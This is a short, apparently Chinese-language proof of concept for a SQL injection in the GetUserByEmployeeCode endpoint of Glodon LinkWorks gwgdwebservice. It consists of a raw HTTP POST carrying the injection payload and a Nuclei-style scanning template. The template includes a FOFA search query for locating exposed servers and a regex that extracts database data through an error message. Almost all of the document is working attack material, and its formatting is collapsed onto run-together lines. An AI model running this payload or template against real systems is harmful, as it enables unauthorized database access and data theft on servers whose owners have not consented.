广联达-linkworks-gwgdwebservice SQL注入漏洞

/Org/service/Service.asmx/GetUserByEmployeeCode

POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateConnection: closeContent-Length: 41employeeCode=1'-1/user--'&EncryptData=1

id: glodon-linkworks-service-sqliinfo:  name: glodon-linkworks-service-sqli  author: unknow  severity: critical  description: glodon-linkworks-gwgdwebservice 存在SQL注入漏洞。  tags: glodon,sqli  metadata:    fofa-query: 'header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"'http:  - raw:      - |        POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1        Host:         Content-Type: application/x-www-form-urlencoded        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        employeeCode=1'-1/{{sqli}}--'&EncryptData=1    payloads:      sqli:        - 'user'     extractors:      - type: regex        part: body        name: sqli        group: 1        regex:          - '在将 nvarchar 值 '(.*)' 转换成数据类型 int 时失败。'             matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code_1==500 && contains(body_1, "在将 nvarchar 值") && contains(body_1, "转换成数据类型 int 时失败") '          #&& contains(header_1, "text/html")'